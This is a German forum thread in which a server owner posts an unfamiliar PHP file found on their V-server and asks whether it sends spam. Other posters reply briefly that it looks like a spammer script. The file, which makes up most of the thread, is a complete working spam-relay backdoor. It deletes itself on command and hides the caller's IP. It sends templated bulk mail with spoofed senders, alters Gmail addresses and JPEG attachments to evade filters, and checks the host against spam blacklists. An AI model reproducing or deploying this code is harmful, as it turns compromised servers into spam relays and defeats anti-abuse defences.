Auf meinem Server ist diese PHP Datei aufgetaucht.
Ich gehe davon aus, dass es zur Versendung von SPAM Mails dient - bin mir aber nicht sicher und möchte eine zweite Meinung haben. Vielen Dank!

PHP-Code:

<?php
@error_reporting(0);
@set_time_limit(150);
@ignore_user_abort(true);
@ini_set('max_execution_time',150);

if(isset($_GET['remove'])) unlink(__FILE__);

if($_SERVER['REQUEST_METHOD']=='GET'){
    exit('OK');
}

$randString=rand(1,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);

$compare=$_SERVER['REMOTE_ADDR'];

while($key=key($_SERVER)){
    if($_SERVER[$key]==$compare){
        @$_SERVER[$key]=$randString;
    }
    next($_SERVER);
}

if(isset($_POST['ch'])===true){
    Check(); exit;
}if(isset($_POST['sn'])===true){
    Send(); exit;
}

function Send(){
    $replyto=urldecode($_POST['rpt']);
    if(strstr($replyto,'|')){
        $rand=explode('|',$replyto);
        $replyto=$rand[array_rand($rand)];
    }

    $replyto=check_gmail($replyto);

    $emails=urldecode($_POST['em']);

    $ex=explode("\n",$emails);

    if(!is_file($_FILES['file']['tmp_name'])){
        for($c=0,$max=sizeof($ex);$c<$max;$c++){
            $data=explode('|',trim($ex[$c]));
            $r_from=Random(dataHandler($_POST['f']),$data);
            $r_subject=dataHandler($_POST['s']); $r_message=$_POST['m'];
            $r_subject=str_ireplace('[from:]',$r_from,$r_subject);
            $r_subject=str_ireplace('[email:]',$data[0],$r_subject);
            $r_subject=Random($r_subject,$data);
            $r_message=str_ireplace('[from:]',$r_from,$r_message);
            $r_message=str_ireplace('[email:]',$data[0],$r_message);
            $r_message=Random($r_message,$data);
            $from_name=randText();

            if($replyto==''){
                $reply=$from_name.'@'.$_SERVER['HTTP_HOST'];
            }else{
                $reply=$replyto;
            }

            if(!SMail($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){
                print '*send:bad*'; exit;
            }
        }
    }else{
        for($c=0,$max=sizeof($ex);$c<$max;$c++){
            $data=explode('|',trim($ex[$c]));
            $r_from=Random(dataHandler(urldecode($_POST['f'])),$data);
            $r_subject=dataHandler(urldecode($_POST['s']));
            $r_message=urldecode($_POST['m']);
            $r_subject=str_ireplace('[from:]',$r_from,$r_subject);
            $r_subject=str_ireplace('[email:]',$data[0],$r_subject);
            $r_subject=Random($r_subject,$data);
            $r_message=str_ireplace('[from:]',$r_from,$r_message);
            $r_message=str_ireplace('[email:]',$data[0],$r_message);
            $r_message=Random($r_message,$data);
            $from_name=randText();

            if($replyto==''){
                $reply=$from_name.'@'.$_SERVER['HTTP_HOST'];
            }else{
                $reply=$replyto;
            }

            if(!SendAttach($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){
                print '*send:bad*'; exit;
            }
        }
    }
    print '*send:ok*'; exit;
}

function SMail($to,$from,$message,$subject,$replyto,$from_name){
    if($_POST['tp']=='1'){ $type='text/html'; }
    else{ $type='text/plain'; }
    $header='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">\r\n";
    $header.='MIME-Version: 1.0'."\r\n";
    $header.='Content-Type: '.$type.'; charset="utf-8"'."\r\n";
    $header.='Reply-To: '.$replyto."\r\n";
    $header.='X-Mailer: PHP/'.phpversion();

    if(mail($to,$subject,$message,$header)){
        return true;
    }
    return false;
}

function SendAttach($to,$from,$message,$subject,$replyto,$from_name){
    $boundary=md5(uniqid()); $fileString=fileString($_FILES['file']['name']);
    if($_POST['tp']=='1'){ $type='text/html'; }
    else{ $type='text/plain'; }
    $filename=$_POST['fn'];

    $headers='MIME-Version: 1.0'."\r\n";
    $headers.='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."\r\n";
    $headers.='Reply-To: '.$replyto."\r\n";
    $headers.='X-Mailer: PHP/'.phpversion()."\r\n";
    $headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"\r\n\r\n";

    $body='--'.$boundary."\r\n";
    $body.='Content-Type: '.$type.'; charset="utf-8"'."\r\n";
    $body.='Content-Transfer-Encoding: base64'."\r\n\r\n";
    $body.=chunk_split(base64_encode($message));

    $body.= '--'.$boundary."\r\n";
    $body.='Content-Type: '.$_FILES['file']['type'].'; name="'.$filename.'"'."\r\n";
    $body.='Content-Disposition: attachment; filename="'.$filename.'"'."\r\n";
    $body.='Content-Transfer-Encoding: base64'."\r\n";
    $body.='X-Attachment-Id: '.rand(1000,99999)."\r\n\r\n";
    $body.=chunk_split(base64_encode($fileString));

    if(mail($to,$subject,$body,$headers)){
        return true;
    }
    return false;
}

function dataHandler($data){
    $ex=explode("\n",$data);

    if(sizeof($ex)>1){
        return trim($ex[rand(0,sizeof($ex)-1)]);
    }
    return trim($data);
}

function Random($text,$data){
    preg_match_all('#\[num:(.+?)\]#is',$text,$result2); $i=0;
    preg_match_all('#\[randM:(.+?)\]#is',$text,$result3); $q=0;
    preg_match_all('#\[randstr:(.+?)\]#is',$text,$result4); $w=0;
    preg_match_all('#\[var:(.+?)\]#is',$text,$result5); $e=0;
    preg_match_all('#\{rand:(.+?)\}#is',$text,$result6); $f=0;

    while($f<sizeof($result6[1])){
        $rand=explode('|',$result6[1][$f]);
        $rand=$rand[array_rand($rand)];

        $text=str_replace_once($result6[0][$f],$rand,$text); $f++;
    }

    while($i<sizeof($result2[1])){
        $rand=explode('|',$result2[1][$i]);
        if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }
        $rand=rand($rand[0],$rand[1]);

        $text=str_replace_once($result2[0][$i],$rand,$text); $i++;
    }

    while($q<sizeof($result3[1])){
        $rand=explode('|',$result3[1][$q]);
        $rand=$rand[array_rand($rand)];

        $text=str_replace($result3[0][$q],$rand,$text); $q++;
    }

    while($w<sizeof($result4[1])){
        $rand=explode('|',$result4[1][$w]);
        if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }
        $rand=randString($rand[0],$rand[1]);

        $text=str_replace_once($result4[0][$w],$rand,$text); $w++;
    }

    while($e<sizeof($result5[1])){
        if(!is_numeric($result5[1][$e])){ continue; }

        $text=str_replace($result5[0][$e],$data[$result5[1][$e]],$text); $e++;
    }

    preg_match_all('#\[rand:(.+?)\]#is',$text,$result); $c=0;

    while($c<sizeof($result[1])){
        $rand=explode('|',$result[1][$c]);
        $rand=$rand[array_rand($rand)];

        $text=str_replace_once($result[0][$c],$rand,$text); $c++;
    }

    return $text;
}

function Check(){
    $crlf="\r\n";

    if(isset($_POST['st'])===true){
        print '*valid:ok*'.$crlf;
    }if(isset($_POST['m'])===true){
        if(function_exists('mail')){
            $ex=explode(':',$_POST['m']);
            $email=$ex[0]; $attach=$ex[1]; $reply=$ex[2];
            $from_name=randText();
            $replyto=$from_name.'@'.$_SERVER['HTTP_HOST'];
            if($reply=='1'){ $replyto=$email; }
            if($attach=='1'){
                if(CheckAttach($email,$replyto,$from_name)){
                    print '*mail:ok*'.$crlf;
                }else{
                    print '*mail:bad*'.$crlf;
                }
            }else{
                if(CheckMail($email,$replyto,$from_name)){
                    print '*mail:ok*'.$crlf;
                }else{
                    print '*mail:bad*'.$crlf;
                }
            }
        }else{
            print '*mail:bad*'.$crlf;
        }
    }if(isset($_POST['rb'])===true){
        $rbl=rbl();
        if($rbl==''){
            print '*rbl:ok*';
        }else{
            print '*rbl:'.$rbl.'*';
        }
    }
}

function randString($min,$max){
    $str='qwertyuiopasdfghjklzxcvbnm';
    $size=rand($min,$max); $result='';

    for($c=0;$c<$size;$c++){
        $result.=$str{rand(0,strlen($str)-1)};
    }
    return $result;
}

function rbl(){
    $dnsbl_check=array('b.barracudacentral.org','xbl.spamhaus.org','sbl.spamhaus.org','zen.spamhaus.org','bl.spamcop.net');
    $ip=gethostbyname($_SERVER['HTTP_HOST']); $result='';

    if($ip){
        $rip=implode('.',array_reverse(explode('.',$ip)));
        foreach($dnsbl_check as $val){
            if(checkdnsrr($rip.'.'.$val.'.','A'))
                $result.=$val.', ';
        }
        if(strlen($result)>2){ return substr($result,0,-2); }
        else{ return ''; }
    }else{
        return '*rbl:unknown*';
    }
    return '';
}

function CheckMail($to,$reply,$from_name){
    $header='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">\r\n";
    $header.='MIME-Version: 1.0'."\r\n";
    $header.='Content-Type: text/html; charset="utf-8"'."\r\n";
    $header.='Reply-To: '.$reply."\r\n";
    $header.='X-Mailer: PHP/'.phpversion();

    $message=text();
    $subject=$_SERVER['HTTP_HOST'];

    if(mail($to,$subject,$message,$header)){
        return true;
    }
    return false;
}

function CheckAttach($to,$reply,$from_name){
    $message=text();
    $subject=$_SERVER['HTTP_HOST'];
    $filename=filename('1.txt'); $boundary=md5(uniqid());

    $headers='MIME-Version: 1.0'."\r\n";
    $headers.='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."\r\n";
    $headers.='Reply-To: '.$reply."\r\n";
    $headers.='X-Mailer: PHP/'.phpversion()."\r\n";
    $headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"\r\n\r\n";

    $body='--'.$boundary."\r\n";
    $body.='Content-Type: text/html; charset="utf-8"'."\r\n";
    $body.='Content-Transfer-Encoding: base64'."\r\n\r\n";
    $body.=chunk_split(base64_encode($message));

    $body.= '--'.$boundary."\r\n";
    $body.='Content-Type: text/plain; name="'.$filename.'"'."\r\n";
    $body.='Content-Disposition: attachment; filename="'.$filename.'"'."\r\n";
    $body.='Content-Transfer-Encoding: base64'."\r\n";
    $body.='X-Attachment-Id: '.rand(1000,99999)."\r\n\r\n";
    $body.= chunk_split(base64_encode(text()));

    if(mail($to,$subject,$body,$headers)){
        return true;
    }
    return false;
}

function str_replace_once($search,$replace,$text){ 
   $pos=strpos($text, $search);
   return $pos!==false ? substr_replace($text,$replace,$pos,strlen($search)) : $text;
}

function filename($name){
    $format=end(explode('.',$name));
    $array[]='SDC'; $array[]='P'; $array[]='DC'; $array[]='CAM'; $array[]='IMG-';
    $img=array('png','jpg','gif','jpeg','bmp');

    for($c=0,$max=sizeof($img);$c<$max;$c++){
        if(strtolower($format)==$img[$c]){
            $rand=rand(10,999999);
            return $array[rand(0,4)].$rand.'.'.$format;
        }
    }
    return randText().'.'.$format;
}

function fileString($name){
    $format=end(explode('.',$name));

    if(strtolower($format)=='jpeg' or strtolower($format)=='jpg'){
        if(CheckRandIMG()){
            return RandIMG($_FILES['file']['tmp_name']);
        }
    }
    return file_get_contents($_FILES['file']['tmp_name']);
}

function randText(){
    $str='qwertyuiopasdfghjklzxcvbnm';
    $size=rand(3,8); $result='';

    for($c=0;$c<$size;$c++){
        $result.=$str{rand(0,strlen($str)-1)};
    }
    return $result;
}

function text(){
    $str='qwertyuiopasdfghjklzxcvbnm';
    $size=rand(9,20); $result='';

    for($c=0;$c<$size;$c++){
        $rand=rand(6,10);
        
        for($i=0;$i<$rand;$i++){
            $result.=$str{rand(0,strlen($str)-1)};
        }
        $sign=array(' ',' ',' ',' ',', ','? ','. ','. ');
        $result.=$sign[rand(0,7)];
    }
    return trim($result);
}

function CheckRandIMG(){
    $array=array(
        'getimagesize',
        'imagecreatetruecolor',
        'imagecreatefromjpeg',
        'imagecopyresampled',
        'imagefilter',
        'ob_start',
        'imagejpeg',
        'ob_get_clean'
    );

    for($c=0,$max=sizeof($array);$c<$max;$c++){
        if(!function_exists($array[$c])){
            return false;
        }
    }
    return true;
}

function RandIMG($file){
    $rand['width']=rand(1,2);
    $rand['height']=rand(1,2);
    $rand['quality']=rand(1,2);
    $rand['brightness']=rand(1,2);
    $rand['contrast']=rand(1,2);

    list($width,$height)=getimagesize($file);

    if($rand['width']==1){
        $sign=rand(1,2);
        if($sign==1){
            $new_width=$width+rand(1,10);
        }else{
            $new_width=$width-rand(1,10);
        }
    }else{
        $new_width=$width;
    }if($rand['height']==1){
        $sign=rand(1,2);
        if($sign==1){
            $new_height=$height+rand(1,10);
        }else{
            $new_height=$height-rand(1,10);
        }
    }else{
        $new_height=$height;
    }if($rand['quality']==1){
        $quality=75;
    }else{
        $quality=rand(65,105);
    }if($rand['brightness']==1){
        $brightness=rand(0,35);
    }else{
        $brightness=0;
    }if($rand['contrast']==1){
        $sign=rand(1,2);
        if($sign==1){ $sign='+'; }else{ $sign='-'; }
        $contrast=rand(1,15);
    }else{
        $sign='';
        $contrast=0;
    }

    $image_p=imagecreatetruecolor($new_width,$new_height);
    $image=imagecreatefromjpeg($file);
    imagecopyresampled($image_p, $image,0,0,0,0,$new_width,$new_height,$width,$height);
    imagefilter($image_p,IMG_FILTER_CONTRAST,$sign.$contrast);
    imagefilter($image_p,IMG_FILTER_BRIGHTNESS,$brightness);
    ob_start();
    imagejpeg($image_p,null,$quality);
    $out=ob_get_clean();
    imagedestroy($image_p);

    return $out;
}

function check_gmail($email){
    if(strstr($email,'@gmail.')){
        return RandGmail($email);
    }else{
        return $email;
    }
}

function RandGmail($email){
    $login=explode('@',$email); $result='';
    $login=strtolower(str_replace('.','',$login[0]));

    $size=strlen($login);

    for($c=0,$max=$size;$c<$max;$c++){
        $up=rand(0,1); $dot=rand(0,1);

        $symbol=$login{$c};

        if($up==1){
            $symbol=strtoupper($symbol);
        }if($dot==1){
            $symbol=$symbol.'.';
        }
        $result.=$symbol;
    }

    if(substr($result,-1)=='.'){
        $result=substr($result,0,-1);
    }

    return $result.'@gmail.com';
}

?>

Was das Teil im Detail macht kann ich auch nicht sagen, dafür bin ich zu wenig in PHP drin und es ist ja auch nichts kommentiert/dokumentiert, aber das sieht schon nach einem Spammer-Script aus-

Lag das von dir gepostete PHP-Script so vor? Oder codiert/verschleiert in dieser Form?

Was genau ist "dein Server"?

Das Script lag in genau dieser Form als Datei auf dem Server. Den V-Server hatte ich mir geholt, weil ich mehr in die Richtung Webentwicklung gehen wollte, habe aber noch nichts fertig.

Aber vielen Dank für dein Feedback!